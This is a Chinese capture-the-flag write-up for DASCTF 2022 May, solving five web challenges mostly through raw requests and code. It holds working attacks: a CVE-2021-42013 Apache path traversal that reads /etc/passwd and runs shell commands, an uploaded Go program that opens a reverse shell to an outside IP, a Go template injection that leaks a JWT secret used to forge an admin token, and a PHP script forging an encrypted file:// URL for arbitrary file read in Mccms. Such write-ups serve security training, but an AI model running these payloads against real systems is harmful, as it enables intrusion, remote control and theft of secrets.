Dasctf 2022 May出题人挑战赛

友情提示:本文最后更新于 170 天前,文中的内容可能已有所发展或发生改变。

魔法浏览器

看回显包,把编码访控制台里面,修改UA头即可

GET / HTTP/1.1
Host: 4f984dad-c78e-4095-b9eb-5d2edd698cd7.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

img

GET /check HTTP/1.1
Host: 8d1d27c2-00ac-4f11-93e6-8236505a46f3.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: admin=1;
Accept-Language: zh-CN,zh;q=0.9
Referer: http://8d1d27c2-00ac-4f11-93e6-8236505a46f3.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate

直接修改一下Cookie就可以了

getme

CVE-2021-42013

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: node5.buuoj.cn:29171
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: node5.buuoj.cn:29171
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded

echo Content-Type: text/plain; echo; tac /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg; uname

hackme

查看源码拿到/list端点的位置img

挨个访问发现了这个东西,找一下上传点/upload,直接写一个恶意的 users.go

package main

import (
	"bytes"
	"fmt"
	"log"
	"os/exec"
)

var reverseShellPayload = `bash -c 'exec bash -i &>/dev/tcp/10.88.15.85/4444 <&1'`

func main() {
	command := exec.Command("sh", "-c", reverseShellPayload)
	var stdout, stderr bytes.Buffer
	command.Stdout = &stdout
	command.Stderr = &stderr

	err := command.Run()

	if err != nil {
		log.Fatalf("命令执行失败: %s\n标准输出:\n%s\n标准错误:\n%s", err, stdout.String(), stderr.String())
	}
	fmt.Printf("命令成功执行。\n标准输出:\n%s\n标准错误:\n%s\n", stdout.String(), stderr.String())
}

fxxkgo

FROM golang:1.17

WORKDIR /usr/src/app

ENV GOPROXY https://goproxy.cn,direct

COPY go.mod .
RUN go mod download && go mod verify

COPY main.go .
COPY go.sum .
RUN go build -v -o /usr/local/bin/app ./...

ENV KEY NOKEYFORYOU
ENV FLAG flag{fake_flag}
ENV AMDIN_ID admin
ENV AMDIN_PW NOPWDFORYOU

CMD ["app"]

知道了应用目录,

package main

import (
	"encoding/json"
	"fmt"
	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt"
	"os"
	"text/template"
)

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

type AccountClaims struct {
	Id       string `json:"id"`
	Is_admin bool   `json:"is_admin"`
	jwt.StandardClaims
}

type Resp struct {
	Status bool   `json:"status"`
	Msg    string `json:"msg"`
}

type TokenResp struct {
	Status bool   `json:"status"`
	Token  string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func get_account(uid string) Account {
	for i := range acc {
		if acc[i].id == uid {
			return acc[i]
		}
	}
	return Account{}
}
func clear_account() {
	acc = acc[:1]
}

func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}


func rootHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(c.Writer, &acc)
		return
	} else {

		return
	}
}

func flagHandler(c *gin.Context) {
	token := c.GetHeader("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			c.JSON(200, string(res))
			return
		} else {
			c.JSON(403, gin.H{
				"code": 403,
				"status": "error",
			})
			return
		}
	}
}

func authHandler(c *gin.Context) {
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		c.JSON(200, string(res))
		return
	}
	c.JSON(403, gin.H{
		"code": 403,
		"status": "error",
	})
	return
}


func Resist(c *gin.Context){
	uid := c.PostForm("id")
	upw := c.PostForm("pw")
	if uid == "" || upw == "" {
		return
	}
	if get_account(uid).id != "" {
		c.JSON(403, gin.H{
			"code": 403,
			"status": "error",
		})
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	c.JSON(200, string(res))
	return
}
func index(c *gin.Context) {
	c.JSON(200,gin.H{
		"msg": "Hello World",
	})
}

func main()  {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)
	r := gin.Default()
	r.GET("/",index)
	r.POST("/", rootHandler)
	r.POST("/flag", flagHandler)
	r.POST("/auth", authHandler)
	r.POST("/register", Resist)
	r.Run(":80")

}

主要就是鉴权的判断,观察到一个函数里面有SSTI漏洞,要理解这个漏洞,首先要明白 Go 的 text/template 包是如何工作的:

  1. .Parse() 的作用:这个函数用来解析和编译模板字符串。它会把字符串中的 {{ ... }} 语法识别为模板的指令(代码),而不是普通文本。
  2. .Execute() 的作用:这个函数用来执行已经编译好的模板,并将数据安全地填充到模板指定的位置。

漏洞的根本原因在于,程序将用户可以控制的数据 (acc.id) 与一个固定的字符串进行了拼接,然后将拼接后的结果整个传递给了 .Parse() 函数。

img

我们可以利用这个洞去获得secret_key。

POST /register HTTP/1.1
Host: 454e5d31-0020-4007-9d3a-a8b300f4660c.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

id={{.}}&pw=123
POST /auth HTTP/1.1
Host: 454e5d31-0020-4007-9d3a-a8b300f4660c.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

id={{.}}&pw=123

把回显包里面的token用起来

POST / HTTP/1.1
Host: 454e5d31-0020-4007-9d3a-a8b300f4660c.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
X-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

拿到了key为 fasdf972u1041xu90zm10Av 把jwt改了就行

POST /flag HTTP/1.1
Host: 454e5d31-0020-4007-9d3a-a8b300f4660c.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
X-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.Lebcn5sry2QGKTbfbZ3pFhUvV9PNAvz0bj55K7IOaQg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

ezcms

这类CMS就是难定位,不过这个比较简单。

sys/libs/db.php 中 Mc_Encryption_Key 为 GKwHuLj9AOhaxJ2 。

定位到getcurl

img

看到usage,发现到sys/apps/controllers/api/Qpic.php

<?php
/*
'软件名称:漫城CMS(Mccms)
'官方网站:http://www.mccms.cn/
'软件作者:桂林崇胜网络科技有限公司(By:烟雨江南)
'--------------------------------------------------------
'Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
'遵循Apache2开源协议发布,并提供免费使用。
'--------------------------------------------------------
*/
defined('BASEPATH') OR exit('No direct script access allowed');

class Qpic extends Mccms_Controller {

	public function __construct(){
		parent::__construct();
	}
  
    public function img() {
        $str = $this->input->get('str');
		$url = sys_auth($str,1);
		$data = getcurl($url);
		header("Content-Type:image/jpeg");
        echo $data;
	}
}

前面还有个鉴权,过了就能任意文件读取了。

function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
	if(is_array($string)) $string = json_encode($string);
	if($type == 1) $string = str_replace('-','+',$string);
	$ckey_length = 4;
	$key = md5($key ? $key : Mc_Encryption_Key);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);
	$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);
	$result = '';
	$box = range(0, 255);
	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}
	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}
	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	} 
	if($type == 1) {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			$result = substr($result, 26);
			$json = json_decode($result,1);
			if(!is_numeric($result) && $json){
				return $json;
			}else{
				return $result;
			}
		}
		return '';
	}
	return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

写出加密脚本即可

<?php

define('Mc_Encryption_Key', 'GKwHuLj9AOhaxJ2');


function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

$str='file:///flag';
$a=sys_auth($str,0);
echo $a;


// /index.php/api/qpic/img?str=deecYbCv7Td82UQYRC/oPO9UTwIz9t8BWbJgYXLnHpVRscNHfQ3b4eA
Licensed under CC BY-NC-SA 4.0